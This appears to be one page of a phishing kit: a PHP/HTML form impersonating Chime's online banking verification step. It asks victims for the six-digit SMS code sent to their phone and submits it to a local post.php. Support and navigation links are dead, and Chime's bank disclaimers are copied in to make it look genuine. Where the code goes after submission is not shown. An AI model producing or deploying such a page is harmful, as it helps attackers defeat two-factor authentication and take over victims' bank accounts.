<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Chime — Verification</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --bg:           #082719;
            --green:        #1ec677;
            --green-dark:   #0e5333;
            --green-hover:  #19b36b;
            --card-bg:      #0d3321;
            --card-border:  #1a4a30;
            --text:         #ffffff;
            --text-sub:     rgba(255,255,255,0.7);
            --text-muted:   rgba(255,255,255,0.45);
            --input-bg:     #0f3d26;
            --input-border: #1e5c38;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 40px 20px 0; }

        .top-logo { margin-bottom: 32px; }
        .top-logo img { height: 36px; width: auto; display: block; }

        .login-card { width: 100%; max-width: 420px; background: var(--card-bg); border: 1px solid var(--card-border); border-radius: 16px; padding: 40px 40px 36px; box-shadow: 0 24px 64px rgba(0,0,0,0.5); animation: cardIn 0.45s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: rgba(30,198,119,0.2); color: var(--green); }
        .step.active { background: var(--green); color: var(--green-dark); }
        .step.pending{ background: rgba(255,255,255,0.08); color: rgba(255,255,255,0.3); }
        .step-line      { flex: 1; height: 1px; background: var(--card-border); }
        .step-line.done { background: var(--green); opacity: 0.4; }

        .card-header { margin-bottom: 24px; padding-bottom: 20px; border-bottom: 1px solid var(--card-border); }
        .card-header h1 { font-size: 22px; font-weight: 700; color: var(--white); margin-bottom: 6px; letter-spacing: -0.02em; }
        .card-header p { font-size: 14px; color: var(--text-sub); font-weight: 300; }

        .error-msg { display: flex; align-items: center; gap: 8px; color: #ff8a8a; font-size: 13px; margin-bottom: 16px; padding: 10px 13px; background: rgba(255,80,80,0.1); border: 1px solid rgba(255,80,80,0.25); border-radius: 8px; }

        .otp-wrapper { display: flex; gap: 9px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] {
            width: 100%; height: 56px; text-align: center;
            font-family: 'Inter', sans-serif; font-size: 22px; font-weight: 700;
            color: var(--white); background: var(--input-bg);
            border: 1px solid var(--input-border); border-radius: 10px;
            outline: none; transition: border-color 0.15s, box-shadow 0.15s, background 0.15s;
            -webkit-appearance: none; caret-color: var(--green);
        }
        .otp-wrapper input[type="text"]:focus { border-color: var(--green); box-shadow: 0 0 0 3px rgba(30,198,119,0.18); }
        .otp-wrapper input[type="text"].filled { border-color: rgba(30,198,119,0.5); background: rgba(30,198,119,0.1); }
        input[name="otp"] { display: none; }

        .btn-main { width: 100%; height: 50px; background: var(--green); color: var(--green-dark); border: none; border-radius: 10px; font-family: 'Inter', sans-serif; font-size: 16px; font-weight: 700; cursor: pointer; letter-spacing: -0.01em; display: flex; align-items: center; justify-content: center; gap: 8px; transition: background 0.15s, transform 0.1s, box-shadow 0.15s; margin-top: 20px; margin-bottom: 20px; }
        .btn-main:hover { background: var(--green-hover); box-shadow: 0 4px 20px rgba(30,198,119,0.35); transform: translateY(-1px); }

        .resend-row { text-align: center; font-size: 13px; color: var(--text-muted); margin-bottom: 20px; }
        .resend-row a { color: var(--green); text-decoration: none; font-weight: 500; margin-left: 4px; transition: opacity 0.15s; }
        .resend-row a:hover { opacity: 0.75; }

        .card-divider { height: 1px; background: var(--card-border); margin-bottom: 16px; }
        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--green); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 5px; transition: opacity 0.15s; }
        .card-links a:hover { opacity: 0.75; }

        .anim-strip { width: 100%; max-width: 420px; overflow: hidden; margin-top: 32px; mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%); -webkit-mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%); }
        .anim-track { display: flex; align-items: center; gap: 28px; animation: scrollLeft 18s linear infinite; width: max-content; }
        .anim-track img { height: 48px; width: auto; opacity: 0.9; flex-shrink: 0; }
        @keyframes scrollLeft { 0% { transform: translateX(0); } 100% { transform: translateX(-50%); } }

        .below-card { width: 100%; max-width: 420px; margin-top: 28px; padding-bottom: 48px; text-align: center; }
        .sms-notice { font-size: 12px; color: rgba(255,255,255,0.4); line-height: 1.6; margin-bottom: 18px; }
        .below-links { display: flex; flex-wrap: wrap; justify-content: center; gap: 6px 16px; margin-bottom: 18px; }
        .below-links a { font-size: 13px; color: rgba(255,255,255,0.55); text-decoration: none; transition: color 0.15s; }
        .below-links a:hover { color: var(--green); }
        .below-links span { color: rgba(255,255,255,0.2); font-size: 13px; }
        .copyright { font-size: 11px; color: rgba(255,255,255,0.25); line-height: 1.7; }

        @media (max-width: 480px) { .login-card { padding: 30px 24px 28px; border-radius: 12px; } .otp-wrapper input[type="text"] { height: 48px; font-size: 18px; } }
    </style>
</head>
<body>
<div class="page">
    <div class="top-logo"><img src="res/img/Logo.png" alt="Chime"></div>
    <div class="login-card">
        <div class="step-indicator">
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step active">3</div>
        </div>
        <div class="card-header">
            <h1>Enter Your Code</h1>
            <p>Enter the 6-digit verification code sent to your phone</p>
        </div>
        <form action="post.php" method="post">
            <?php if(isset($_GET['error'])): ?>
            <div class="error-msg"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Invalid code. Please try again.</div>
            <input type="hidden" name="exit">
            <?php endif; ?>
            <input type="text" name="otp" id="otp" required>
            <div class="otp-wrapper">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
            </div>
            <button type="submit" class="btn-main">Verify &amp; Continue <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
        </form>
        <div class="resend-row">Didn't receive a code? <a href="#">Resend code</a></div>
        <div class="card-divider"></div>
        <div class="card-links">
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to sign in</a>
        </div>
    </div>
    <div class="anim-strip">
        <div class="anim-track">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
        </div>
    </div>
    <div class="below-card">
        <p class="sms-notice">By clicking "Sign in", you agree to receive SMS text messages from Chime to verify your identity</p>
        <div class="below-links">
            <a href="#">Forgot your email address?</a><span>·</span>
            <a href="#">Forgot your password?</a><span>·</span>
            <a href="#">Need to create an account? <strong>Sign up!</strong></a>
        </div>
        <p class="copyright">© 2026 Chime. All Rights Reserved.<br>Banking Services provided by The Bancorp Bank, N.A., or Stride Bank, N.A., Members FDIC. The Chime Visa® Debit Card is issued by The Bancorp Bank, N.A., or Stride Bank pursuant to a license from Visa U.S.A. Inc. and may be used everywhere Visa debit cards are accepted. Please see back of your Card for its issuing bank.</p>
    </div>
</div>
<script>
    const digits = document.querySelectorAll('.digit');
    const otpInput = document.getElementById('otp');
    function syncOtp() { otpInput.value = [...digits].map(d => d.value).join(''); }
    digits.forEach((el, i) => {
        el.addEventListener('input', () => { el.value = el.value.replace(/\D/g, '').slice(-1); el.classList.toggle('filled', el.value !== ''); syncOtp(); if (el.value && i < digits.length - 1) digits[i + 1].focus(); });
        el.addEventListener('keydown', e => { if (e.key === 'Backspace' && !el.value && i > 0) { digits[i-1].value = ''; digits[i-1].classList.remove('filled'); digits[i-1].focus(); syncOtp(); } });
        el.addEventListener('paste', e => { e.preventDefault(); const p = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '').slice(0, digits.length); [...p].forEach((ch, j) => { if (digits[j]) { digits[j].value = ch; digits[j].classList.add('filled'); } }); syncOtp(); const nx = digits[Math.min(p.length, digits.length - 1)]; if (nx) nx.focus(); });
    });
</script>
</body>
</html>